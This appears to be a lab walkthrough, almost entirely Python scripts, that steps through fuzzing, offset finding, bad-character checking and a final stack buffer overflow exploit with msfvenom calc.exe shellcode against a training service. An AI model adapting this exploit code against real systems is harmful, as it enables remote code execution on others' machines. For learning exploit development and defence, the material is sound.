Buffer Overflow Prep

 0import socket, sys, time
 1
 2
 3ip = '10.0.2.57'	# Change this
 4port = 1337		# Change this
 5
 6buffer = 'OVERFLOW1 '
 7buffer += 'A' * 100
 8
 9while True:
10    try:
11        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12            data = bytes(buffer, 'latin-1')
13            s.settimeout(5)
14            s.connect((ip, port))
15            #s.recv(1024)
16            print('Fuzzing with {} bytes'.format(len(data)))
17            s.send(data)
18            s.recv(1024)
19    except:
20        print('Fuzzing crashed at {}'.format(len(data)-10))
21        sys.exit(0)
22    buffer += 'A' * 100
23    time.sleep(1)

 0import socket, sys, time
 1
 2
 3ip = '10.0.2.57'	# Change this
 4port = 1337		# Change this
 5
 6buffer = 'OVERFLOW1 '
 7buffer += 'A' * 1900
 8buffer += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9'
 9
10
11try:
12    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
13        data = bytes(buffer, 'latin-1')
14        s.settimeout(5)
15        s.connect((ip, port))
16        #s.recv(1024)
17        print('Sending payload')
18        s.send(data)
19        s.recv(1024)
20except Exception as e:
21    print(e)
22    sys.exit(0)

0┌─[user@parrot-virtual]─[~/Desktop/BOF_PREP/1]
1└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 300 -q 41366341
2[*] Exact match at offset 78

0[...]
1buffer = 'OVERFLOW1 '
2buffer += 'A' * 1978
3buffer += 'B' * 4
4[...]

 0import socket, sys, time
 1
 2
 3ip = '10.0.2.57'	# Change this
 4port = 1337		# Change this
 5
 6buffer = 'OVERFLOW1 '
 7buffer += 'A' * 1978
 8buffer += 'B' * 4
 9buffer += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
10
11try:
12    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
13        data = bytes(buffer, 'latin-1')
14        s.settimeout(5)
15        s.connect((ip, port))
16        #s.recv(1024)
17        print('Sending payload')
18        s.send(data)
19        s.recv(1024)
20except Exception as e:
21    print(e)
22    sys.exit(0)

 0import socket, sys, time
 1
 2
 3ip = '10.0.2.57'	# Change this
 4port = 1337		# Change this
 5
 6buffer = b'OVERFLOW1 '
 7buffer += b'A' * 1978
 8retn = b'\xc7\x11\x50\x62'
 9padding = b'\x90' * 16
10shellcode =  b""
11shellcode += b"\xb8\x54\x8f\x86\xdb\xdd\xc5\xd9\x74\x24\xf4"
12shellcode += b"\x5a\x29\xc9\xb1\x31\x83\xea\xfc\x31\x42\x0f"
13shellcode += b"\x03\x42\x5b\x6d\x73\x27\x8b\xf3\x7c\xd8\x4b"
14shellcode += b"\x94\xf5\x3d\x7a\x94\x62\x35\x2c\x24\xe0\x1b"
15shellcode += b"\xc0\xcf\xa4\x8f\x53\xbd\x60\xbf\xd4\x08\x57"
16shellcode += b"\x8e\xe5\x21\xab\x91\x65\x38\xf8\x71\x54\xf3"
17shellcode += b"\x0d\x73\x91\xee\xfc\x21\x4a\x64\x52\xd6\xff"
18shellcode += b"\x30\x6f\x5d\xb3\xd5\xf7\x82\x03\xd7\xd6\x14"
19shellcode += b"\x18\x8e\xf8\x97\xcd\xba\xb0\x8f\x12\x86\x0b"
20shellcode += b"\x3b\xe0\x7c\x8a\xed\x39\x7c\x21\xd0\xf6\x8f"
21shellcode += b"\x3b\x14\x30\x70\x4e\x6c\x43\x0d\x49\xab\x3e"
22shellcode += b"\xc9\xdc\x28\x98\x9a\x47\x95\x19\x4e\x11\x5e"
23shellcode += b"\x15\x3b\x55\x38\x39\xba\xba\x32\x45\x37\x3d"
24shellcode += b"\x95\xcc\x03\x1a\x31\x95\xd0\x03\x60\x73\xb6"
25shellcode += b"\x3c\x72\xdc\x67\x99\xf8\xf0\x7c\x90\xa2\x9e"
26shellcode += b"\x83\x26\xd9\xec\x84\x38\xe2\x40\xed\x09\x69"
27shellcode += b"\x0f\x6a\x96\xb8\x74\x94\x74\x69\x80\x3d\x21"
28shellcode += b"\xf8\x29\x20\xd2\xd6\x6d\x5d\x51\xd3\x0d\x9a"
29shellcode += b"\x49\x96\x08\xe6\xcd\x4a\x60\x77\xb8\x6c\xd7"
30shellcode += b"\x78\xe9\x0e\xb6\xea\x71\xff\x5d\x8b\x10\xff"
31#msfvenom -p windows/exec CMD="calc.exe" -b "\x00\x07\x2e\xa0" EXITFUNC=thread -f py -v shellcode
32
33payload = buffer + retn + padding + shellcode
34
35try:
36    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
37        s.settimeout(5)
38        s.connect((ip, port))
39        #s.recv(1024)
40        print('Sending payload')
41        s.send(payload)
42        s.recv(1024)
43except Exception as e:
44    print(e)
45    sys.exit(0)